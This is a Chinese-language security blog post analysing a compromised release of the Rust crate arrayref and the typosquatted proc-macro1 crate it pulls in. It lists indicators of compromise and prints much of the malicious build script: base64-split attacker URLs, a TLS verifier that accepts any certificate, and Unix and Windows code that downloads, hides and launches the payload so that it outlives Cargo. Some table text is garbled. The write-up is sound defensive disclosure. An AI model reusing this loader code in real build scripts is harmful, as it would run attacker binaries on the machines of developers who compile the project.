恶意 Rust crate arrayref 在构建时执行载荷
恶意 Rust crate arrayref 在构建时执行载荷
SafeDep 团队 • 2026 年 8 月 20 日 • 阅读时长 7 分钟 本页内容 共 6 个章节本页内容
概述
2026 年 8 月 20 日,crates.io 上出现了广受欢迎的 Rust crate arrayref 的一个被篡改的发布版本。0.3.10 版本新增了对一个名为 proc-macro1 的仿冒 crate 的依赖,该 crate 的构建脚本会在项目编译时下载并运行远程二进制文件。由于代码在构建阶段运行,因此只要编译引用了这些恶意版本的项目,就会触发该载荷。crates.io 团队已下架这些恶意版本。
涉及的包
正版 arrayref 和 append-only-vec crate 由 droundy 维护,该账号似乎已被攻陷。对应的 GitHub 仓库已不可访问:github.com/droundy/arrayref、github.com/droundy/append-only-vec 以及整个 github.com/droundy 账号均返回 404,因此上游代码已无法查看。另一个账号 dtolnay(真实 David Tolnay 的账号是 dtolnay,用户名高度相似)发布了 proc-macro1。其元数据伪造了 authors = ["David Tolnay <[email protected]>"],并将 repository 字段指向一个返回 404 的 dtolnay/proc-macro1 路径。
| Crate | 版本 | 发布者 | 状态 | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
arrayref | 0.3.10 | droundy(已被攻陷) | 恶意,已下架 | ||||||||||||||||||||||||||||
internment | 0.8.7 | droundy(已被攻陷) | 恶意,已下架 | ||||||||||||||||||||||||||||
append-only-vec | 0.1.9 | droundy(已被攻陷) | 恶意,已下架 | ||||||||||||||||||||||||||||
proc-macro1 | 所有版本 | dtolney(冒名账号) | 恶意仿冒包,整个 crate 已下架 | ||||||||||||||||||||||||||||
proc-macro-en | 所有版本 | | 依赖项 | 版本 | | 依赖项 | 版本 | |---|---|---|---|---| | aovine | 所有版本 | | 恶意依赖项,已移除 | | | arone | 所有版本 | | 恶意依赖项,已移除 | | | aronenao | 所有版本 | | 恶意依赖项,已移除 | | | tinymember | 所有版本 | | 恶意依赖项,已移除 | | 请注意,`proc-macro1` 并非 `proc-macro2`。宏作者实际依赖的真正 crate 是 |
| 类型 | 指标 | 说明 |
|---|---|---|
| 网络 | 23.254.165.112:9089 | Payload 主机(HTTPS) |
| 网络 | 23.254.165.112:443 | C2,作为 argv[1] 传给 payload |
| 文件(Unix) | /tmp/rust-setup | 下载的可执行文件 |
| 文件(Windows) | %TEMP%\rust-setup.ps1 | 下载的 PowerShell 脚本 |
| 文件(Windows) | %TEMP%\rust-setup-launch.vbs | VBScript 启动器 |
| 二阶段载荷名称 | rust-crate_0.1.0、_0.2.0、_0.3.0、_0.4.0 | 根据操作系统和架构选择 |
已下架 crate 制品的 SHA256:
| 制品 | SHA256 |
|---|---|
arrayref 0.3.10 | 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae |
proc-macro1 1.0.107 | 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4 |
proc-macro1 1.0.106 | b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436 |
第二部分:技术分析
本次事件涉及两个 crate,分别是 arrayref 0.3.10 和 proc-macro1 1.0.107。arrayref 0.3.10 引入了一个名为 proc-macro1 的依赖。恶意代码位于 proc-macro1 的构建脚本中,而非 arrayref 本身。
arrayref 中的注入点
arrayref 是一个只包含四个宏的小型 crate。在 0.3.9 及之前版本中,它没有构建脚本,也不包含运行时依赖。0.3.10 版本保留了原有宏源码,仅在清单文件中新增了一行:
1[package]2name = "arrayref"3version = "0.3.10"4build = false5
6[dependencies.proc-macro1]7version = "1.0.107"只要引入 [dependencies.proc-macro1] 就足以引入这个恶意 crate。版本号 1.0.107 使用的是脱字符范围,由于历史上只发布了 1.0.106 和 1.0.107,它最终解析为恶意的 1.0.107。该 crate 自身的 src/lib.rs 是普通的宏代码,例如 array_ref! 宏:
1#[macro_export]2macro_rules! array_ref {3 ($arr:expr, $offset:expr, $len:expr) => {{4 {5 #[inline]6 const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {7 &*(slice.as_ptr() as *const [_; $len])8 }9 let offset = $offset;10 let slice = &$arr[offset..offset + $len];11 #[allow(unused_unsafe)]12 unsafe {13 as_array(slice)14 }15 }16 }};17}arrayref 源码中没有任何地方引用 proc-macro1,而且确实不需要引用。Cargo 会构建所有声明的非可选依赖,无论代码是否使用。因此,只要项目引入了 arrayref 0.3.10,Cargo 就会获取并构建 proc-macro1,而构建过程会运行恶意的构建脚本。
proc-macro1 是 proc-macro2 的重命名副本
proc-macro1 的 src/ 目录内容就是 proc-macro2,只是机械地将 proc-macro2 替换成了 proc-macro1。这个重命名甚至延伸到了文档链接和复制的 issue 引用,例如 src/lib.rs 中的 html_root_url = "https://docs.rs/proc-macro1/1.0.107" 以及 src/fallback.rs 中的 github.com/dtolnay/proc-macro1/issues/235 链接。由于库代码是真实的 proc-macro2,该 crate 可以作为即插即用的替代品。这使得恶意 crate 在正常构建中不那么显眼。
该包元数据伪造了一个身份:
1authors = ["David Tolnay <[email protected]>"]2repository = "https://github.com/dtolnay/proc-macro1"1[build-dependencies.base64]2version = "0.22"3
4[build-dependencies.rustls]5version = "0.23"6features = ["ring", "std", "tls12"]7default-features = false8
9[build-dependencies.ureq]10version = "2"11features = ["tls"]12default-features = false这三个 crate 为构建脚本提供了 base64 解码、TLS 协议栈和 HTTP 客户端。对于一个词法解析库来说,这些依赖相当反常,而恶意构建脚本正是利用了它们。
构建脚本中的 payload
构建脚本把服务器地址拆成 base64 片段,在编译时再拼回去,这样源代码中就不会出现原始字符串:
1const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];2const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];解码后,SRC_URL_PARTS 是 hxxps://23[.]254[.]165[.]112:9089/,END_URL_PARTS 是 23[.]254[.]165[.]112:443。
下载时使用的 TLS 客户端会接受任何证书。AcceptAll 验证器在 rustls 的 ServerCertVerifier trait 中对所有证书和签名校验都返回成功,因此原始 IP 上自签名的证书也能通过校验:
1impl ServerCertVerifier for AcceptAll {2 fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {3 Ok(ServerCertVerified::assertion())4 }5 // verify_tls12_signature 和 verify_tls13_signature 也同样无条件返回成功6}构建脚本根据操作系统和架构来选择要下载的二进制文件。它支持四个目标平台,遇到其他平台则中止构建:
1fn link_suffix() -> &'static str {2 match (std::env::consts::OS, std::env::consts::ARCH) {3 ("linux", "x86_64") => "rust-crate_0.1.0",4 ("windows", "x86_64") => "rust-crate_0.2.0",5 ("macos", "x86_64") => "rust-crate_0.3.0",6 ("macos", "aarch64") => "rust-crate_0.4.0",7 (_, _) => panic!("unsupported platform"),8 }9}下载和执行发生在 main 内部,位于特性开关和后续真正的 proc-macro2 配置逻辑之前。没有特性标志或环境变量检查来阻止它,因此在每个受支持平台的每次构建中都会运行:
1// proc-macro1-1.0.107/build.rs(main 函数内部)2let url = src_download_url();3let bytes = download_bytes(&url);4
5match std::env::consts::OS {6 "linux" | "macos" => run_unix_payload(bytes),7 "windows" => run_windows_payload(bytes),8 os => panic!("unsupported OS: {os}"),9}在 Unix 上,构建脚本将字节写入 /tmp/rust-setup,赋予可执行权限后立即派生执行,并将命令与控制地址作为第一个参数传入,同时将所有标准流重定向到空设备:
1fn run_unix_payload(bytes: Vec<u8>) {2 let path = PathBuf::from("/tmp/rust-setup");3 std::fs::write(&path, &bytes).expect("failed to write payload");4 Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");5 Command::new(&path)6 .arg(end_url())7 .stdin(Stdio::null())8 .stdout(Stdio::null())9 .stderr(Stdio::null())10 .spawn()11 .expect("failed to spawn payload");12}在 Windows 上,获取到的字节是一个 PowerShell 脚本。构建脚本将其写入 %TEMP%\rust-setup.ps1,然后通过 wscript.exe 下的 VBScript 启动器来运行,源码中还附有注释说明这样做的原因:
1// 通过 WScript 执行 ShellExecute 可以绕过 Cargo 的 job object;否则子进程2// 会让 build 脚本(以及 `cargo build`)一直等待直到它们退出。3let vbs = format!(4 r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,5 script = script_path.display(),6 end = end_url(),7);8// ...9let child = Command::new("wscript.exe")10 .args(["//B", "//Nologo", launcher_str])11 .creation_flags(CREATE_NO_WINDOW)12 .spawn()13 .expect("failed to spawn wscript launcher");14std::mem::forget(child);这个启动器在后台运行,并且不会等待进程结束。源码注释说明,借助 WScript 中转可以逃逸出 Cargo 的 job object,这样 PowerShell 进程就会在构建结束后继续存活。最后那行 std::mem::forget 会泄漏 wscript 子进程的句柄,使它的析构函数永远不会被调用。两者结合,就把这个 payload 从 Cargo 进程上彻底剥离了。这样一来,恶意负载就能继续在后台执行,而不会阻塞 Cargo 的构建流程。
- rust
- cargo
- 开源软件
- 恶意软件
- 供应链
- 安全
作者
SafeDep 团队
safedep.io
分享
SafeDep 博客最新文章
关注我们,及时获取开源安全与工程领域的最新动态与洞察
21 个恶意 npm 包通过占用作用域包内 CLI 二进制文件(而非包名)的名称来定向攻击 Google。这种手法利用了标准依赖混淆防护未能覆盖的结构性盲区……
一个 npm 蠕虫发布了 2,234 个恶意版本,涵盖 444 个包名。其安装脚本会窃取凭据,并在 GitHub 撤销令牌时执行命令。
一场日益扩大的 npm 攻击活动利用 Baileys WhatsApp 库的分叉版本,让开发者的账号自动关注攻击者的频道,从而虚增粉丝数并植入广告。
2026 年 7 月 28 日发布的 @joyfill/components 和 @joyfill/layouts 恶意测试版在其生产包中携带了 PolinRider 区块链死信投递加载器。从 Tron 到 BSC 的 C2……
查看所有博客
交付代码,
而非恶意软件。
先用本地开源工具免费上手,再升级为企业级统一平台。
在 GitHub 上加星
预约演示